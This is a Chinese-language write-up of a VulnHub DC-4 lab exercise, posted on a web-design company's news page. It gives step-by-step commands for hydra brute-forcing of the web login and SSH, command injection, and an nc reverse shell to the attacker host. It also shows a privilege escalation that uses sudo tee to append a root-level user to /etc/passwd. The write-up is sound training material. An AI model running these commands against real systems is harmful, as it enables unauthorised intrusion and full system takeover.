恒美微站
首页
关于我们
建站服务
主题模板
案例展示
资讯中心
联系我们
VulnHub DC-4靶机渗透全记录:hydra爆破登录与sudo tee提权
首页
资讯中心
/
VulnHub DC-4靶机渗透全记录:hydra爆破登录与sudo tee提权
VulnHub DC-4靶机渗透全记录:hydra爆破登录与sudo tee提权
发布时间:2026/10/15 20:21:43
打穿VulnHub靶场DC-4的完整记录从登录爆破到sudo提权。这篇文章是我在本地虚拟化环境里从零开始打DC-4的实操复盘全程没有跳过任何步骤每一条命令都是我亲手敲过的。DC-4在VulnHub系列里属于难度适中的靶机不涉及内核漏洞利用路径非常清晰先爆破前端登录框进入后台再利用命令执行点拿Shell然后通过邮件和密码提示完成用户横向迁移最后卡在sudo配置上做文章。适合已经做过DC-1、DC-2想练习Web弱口令爆破和Linux提权思路的人参考。1. 靶机导入与实验环境配置1.1 下载、导入与网络模式选择DC-4在VulnHub官网直接下载OVA镜像就行体积不大。导入方式有两种VirtualBox和VMware都可以我用的是VirtualBox。下载下来是一个.ova文件双击导入或者用菜单里的导入虚拟电脑都行基本上不用改默认配置。唯一要注意的是网络模式。VulnHub靶机默认是NAT加一张网卡为了让宿主机和靶机能互相访问我习惯把网络模式改成仅主机Host-Only这样攻击机和靶机处在一个隔离网段避免靶机流量跑到真实网络里。当然如果你只有NAT只要攻击机能ping通靶机也没问题后续命令里的IP改一下即可。装好之后启动靶机它是无图形界面的Debian系系统启动后会自动通过DHCP获取IP。问题来了靶机不显示IP你怎么知道它分到了什么地址最简单的办法是回到宿主机扫网段。我用的是nmap -sn 192.168.56.0/24假设你用的是VirtualBox默认Host-Only网段。看到新出现的活跃主机就是靶机。我这里靶机IP是192.168.56.15下文会一直用这个IP你操作时以实际为准。如果扫描结果里没有靶机多半是DHCP没工作。这时候可以在靶机虚拟机里登录默认不需要密码或者看靶机文档执行ip addr手动看地址再不行就手动配一个和攻击机同网段的静态IP。1.2 确认靶机存活并锁定端口拿到IP后第一时间做一次完整扫描。nmap -sC -sV -p- 192.168.56.15我扫出来的结果很干净整个靶机只开放了两个端口端口服务指纹信息22/tcpSSHOpenSSH较低版本80/tcpHTTPnginxPHP环境这个结果透露了不少信息SSH存在说明后期大概率能拿到登录口令直接连上去80端口的PHP环境意味着Web端可能有后台、有命令执行点这类东西。另外整个靶机没有任何其他隐藏端口攻击面非常集中不需要浪费时间做UDP大范围扫描。我还顺手测了一下HTTP响应头确认是用nginx跑的底层系统版本偏老这从后面拿到的内核版本也能印证。接下来的注意力几乎全部集中在80端口上。2. 开局侦察80端口就一个登录框目录扫描也没扫出什么2.1 打开首页后的第一印象浏览器访问http://192.168.56.15页面内容非常朴素基本就是一个登录页。从上到下就是标题、用户名输入框、密码输入框、登录按钮没有任何多余的功能。这种极简页面往往意味着两条路要么登录框后面藏着大文章要么它就是整个Web攻击面的入口。我做的第一件事不是拿字典乱试而是先看页面源码确认表单提交到哪个文件、用了什么参数。源码里能看到动作指向login.php请求方式是POST字段名是username和password。我先手动输了一个错误账号发现页面刷新后会回到登录页并且提示信息不明显需要抓包才能看清逻辑。这一步很关键爆破工具需要知道什么样的响应算失败、什么样的响应算成功。你如果上来就写hydra命令不先手动试一次后面一定会被错误标志折腾得死去活来。2.2 目录扫描与robots.txt检查在碰登录框之前我习惯先跑一遍目录扫描万一有备份文件或者隐藏目录就直接少走弯路。我用了常见的目录字典扫了一下80端口。结果很令人失望常见的/admin、/backup、/robots.txt都不存在扫描结果里就只看到正常页面本身。这其实已经说明了DC-4的设计意图它就是逼你把注意力放在登录框上。靶机设计者没有给你留任何暗门老老实实爆破才是正路。顺带提一句如果你在做类似靶机时遇到目录扫描啥都没扫出来不要钻牛角尖先根据已有页面推断攻击路径而不是继续换大字典狂扫。时间应该花在刀刃上。3. 管理员口令爆破hydra参数背后的失败标志判断3.1 为什么选择爆破admin用户DC-4的登录框没有注册功能那入口肯定就是已知用户名加未知密码。用户名最可能是什么先从最符合常理的admin开始。为什么不用root因为Web后台一般不会直接叫root而且DC系列靶机的前台登录很多用的就是admin。当然你也可以用hydra -L带一批常见用户名不过我实际测试下来直接锁admin效率最高。密码字典首选Kali里自带的rockyou.txt。这个字典在/usr/share/wordlists/rockyou.txt如果你是第一次用可能需要先解压sudo tar -xzf /usr/share/wordlists/rockyou.txt.gz -C /usr/share/wordlists/3.2 hydra命令与排坑提醒hydra针对HTTP POST表单的爆破写法是hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.15 http-post-form /login.php:username^USER^password^PASS^:Finvalid这里的关键是冒号分隔的三段内容请求路径、POST体、失败标志。失败标志我填的是invalid这是因为我先前手动测试时注意到错误登录的响应内容里出现了invalid相关字样。你如果抓包看到的是别的提示词把F后面的内容相应换掉就行。hydra开多少个线程合适很多人习惯直接-t 64甚至更高。在真实渗透里这样干可能会把服务打崩靶机也一样尤其这种老系统。我建议用-t 32既能保证速度又不至于把登录页拖死。速度太快还会造成大量超时误报你肉眼鉴别起来更麻烦。跑了一会儿就会出现结果类似[80][http-post-form] host: 192.168.56.15 login: admin password: happy到这里Web后台的第一道门算是打开了。提示看到admin/happy这个结果别急着欢呼DC-4的Web登录其实只是开胃菜后面才真正开始上强度。4. 命令面板到反向Shell一次参数改写完成边界突破4.1 登录后的命令菜单页面分析用admin/happy登录进去页面跳转到一个类似管理后台的地方。页面上有一个下拉菜单里面列了若干个命令选项比如显示当前日期、显示当前用户、查看日志之类。你选中一个提交页面就会回显命令的执行结果。看起来这是一个后台命令面板设计初衷应该是方便管理员快速查看系统状态。但作为一个渗透测试人员我看到这种功能的第一个想法永远是这个下拉菜单是硬编码的还是后端直接拼接命令执行两者最大的区别在于如果是后者那么客户端传什么参数服务端就执行什么命令根本不会仔细校验你是不是只允许这几个。4.2 Burp抓包验证命令注入点我用Burp Suite抓到提交请求发现POST体里就是一个command参数。参数值就是下拉菜单里选项对应的命令关键字。先把command改成最无害的id直接回显了uid33(www-data) gid33(www-data) groups33(www-data)一下就验证了一个重要事实服务端把command参数的值直接丢给系统命令执行且没有过滤特殊字符。现在我有了一个Webshell式的命令执行点但回显能力不稳定每次都要抓包改包看结果太痛苦最好的选择是反弹一个交互式Shell到本地。4.3 反弹Shell与TTY稳定化攻击机开监听nc -lvnp 4444在请求包里把command改成反弹命令。因为目标是老系统nc -e参数大概率可用commandnc -e /bin/sh 192.168.56.10 4444这里的192.168.56.10是我攻击机的IP换成你自己的。发送请求后本地监听窗口立刻拿到了Shellconnect to [192.168.56.10] from (UNKNOWN) [192.168.56.15] 58834现在你有一个以www-data身份运行的Shell。但这个Shell并不好用因为它不是完整终端按方向键会乱码、Tab补全也失效。习惯上要立刻做TTY稳定化。我用的标准三连python -c import pty;pty.spawn(/bin/bash)然后CtrlZ挂起会话在本地执行stty raw -echo; fg回来后再设置环境变量export TERMxterm这样Shell用起来就很顺滑了。到这里你已经突破了Web边界拿到了目标系统上的一个低权限Shell。5. 账户横向迁移从www-data到jim再到charles5.1 /etc/passwd里的两个可登录用户拿到Shell后的第一件事永远是看当前用户和系统里有哪些可登录账号。我依次执行了id、whoami和uname -a确认自己是www-data权限内核是老版本。接着看用户列表cat /etc/passwd前面一堆系统默认用户不用看真正值得注意的是两个有真实家目录、且Shell是/bin/bash或/bin/sh的用户jim和charles。这种用户的出现意味着DC-4的后半程要靠这两个账号来走。当前www-data权限太低很多文件读不了也执行不了sudo现在的目标很明确拿到那两个普通用户的SSH口令。5.2 SSH爆破jim口令与old-password提示用刚才的rockyou字典继续对付SSH。既然系统里有jim这个用户先爆破他hydra -l jim -P /usr/share/wordlists/rockyou.txt 192.168.56.15 ssh这次速度不能太快SSH本身有连接开销频繁建立连接可能触发防护不过老靶机一般没有fail2ban。跑完结果很快就出来了[22][ssh] host: 192.168.56.15 login: jim password: jibril04拿到口令后立刻SSH登录ssh jim192.168.56.15登录成功。在家目录里翻文件发现一个old-password文件内容就是刚才爆破出来的jibril04。这说明什么说明jim的SSH密码其实就是他的旧密码口令强度不高能被rockyou收编也在情理之中。5.3 邮件里的charles密码与登录验证jim的可读文件不多但/var/mail目录里有内容。老系统的邮件系统经常藏着好东西我进去一看ls -la /var/mail/ cat /var/mail/jim邮件正文里有一段提示明确提到了charles的密码。我尽量还原当时的场景jim收到过一封包含明文口令的邮件那个字符串看起来不像字典词是一串带特殊字符的强口令。在Linux终端里这种带!、^、~的字符串如果直接复制粘贴会被bash解释掉一部分非常容易出错。我的经验是直接SSH登录时用sshpass配合单引号包裹密码避免终端解析sshpass -p ^xHhAh~/0: ssh charles192.168.56.15如果你已经在jim的会话里也可以直接su - charles然后手动输入密码照样能切换。我实际是用的su切换成功进入charles用户。这时候系统里的横向移动就已经完成了从www-data-jim-charles每跳一步权限都会有提升charles是这次靶机提权前的最后一个普通用户。6. sudo tee权限滥用写入一行实现root提权6.1 sudo -l 暴露的NOPASSWD项进入charles用户后直接查看他有什么sudo权限sudo -l输出里有一行非常显眼User charles may run the following commands on dc-4: (root) NOPASSWD: /usr/bin/tee翻译成大白话就是charles可以在不输入密码的情况下以root身份运行/usr/bin/tee这个程序。看到tee很多不熟悉Linux提权的人可能反应不过来tee不是只能往终端和文件里同时输出内容吗这玩意也能提权还真能。关键在于tee命令的-aappend追加写入参数。sudo白名单允许你执行tee意味着你能以root身份向任意文件追加内容。注意是追加不是覆盖但这对提权来说已经足够了。6.2 利用tee -a覆盖/etc/passwd的完整操作经典的思路往/etc/passwd里追加一个uid为0的用户然后su切换过去瞬间变成root。首先在攻击机或当前shell里生成一个密码哈希。老系统用的是传统crypt格式可以用openssl生成openssl passwd -1 -salt d4rk 123456-1是MD5格式老系统普遍支持-salt d4rk是自定义盐123456是准备给新用户的密码。生成出来一串哈希类似$1$d4rk$XeQH9y...接着把这行格式写对追加到/etc/passwd末尾echo d4rk:$1$d4rk$XeQH9y...:0:0:root:/root:/bin/bash | sudo /usr/bin/tee -a /etc/passwd这里解释一下字段含义字段值含义用户名d4rk新用户名字密码哈希$1$d4rk$...登录密码UID0用户ID0代表root权限GID0主组ID同样是root组描述root可随便填家目录/root新用户的家目录Shell/bin/bash登录Shell为什么会生效因为老系统在验证密码时如果/etc/passwd第二字段不是x就不去/etc/shadow找密码直接使用passwd文件里的哈希来校验。这就是为什么必须放一个真实哈希而不是像上面那样写个x。写入完成后直接切换su d4rk输入密码123456如果前面的哈希没写错马上就能获得root Shell。验证一下id输出是uid0(root)权限到手DC-4被完整打穿。6.3 提权原理与本套路的复用价值tee提权的本质是sudo白名单给了某个命令的root执行权而这个命令能写入受保护文件。除了往/etc/passwd追加用户还可以尝试往/etc/sudoers追加一条charles ALL(ALL:ALL) ALL这样连用户都不用新建下次直接sudo su就有root。两条路殊途同归就看哪个文件更容易写入。这类滥用可写命令的提权思路在真实环境中常见于运维配置不当太多命令被加入了sudo免密白名单。排查时除了看sudo -l还要注意tar、find、vim、python这类能执行子命令的工具它们往往比tee更容易被利用但也更容易被管理员注意到。最后说点实际体会整趟打下来DC-4最让人舒服的地方是它的考点非常聚焦Web层面没有弯弯绕绕就是让你爆破命令执行点给了你以后后面完全顺着常规渗透路径走。个人认为这个靶机很适合作为从扫描-爆破-Shell-提权全流程串联练习的第一台中等难度靶机。有几个细节提醒一下后来做的人。第一爆破时如果发现hydra老报错先检查http-post-form的失败标志不要一上来加线程硬跑。第二反弹Shell拿到后一定先做TTY稳定化不然输命令都难受。第三提权阶段看到sudo白名单里有tee之类的写入命令别犹豫马上想能往哪个配置文件追加内容。最后老生常谈一句VulnHub靶机是授权范围内的教学环境本文所有操作都发生在本地虚拟化网络中。这套方法论可以帮你理解渗透思路但真实系统上的一切测试必须先获得书面授权这是我的底线也希望是你的。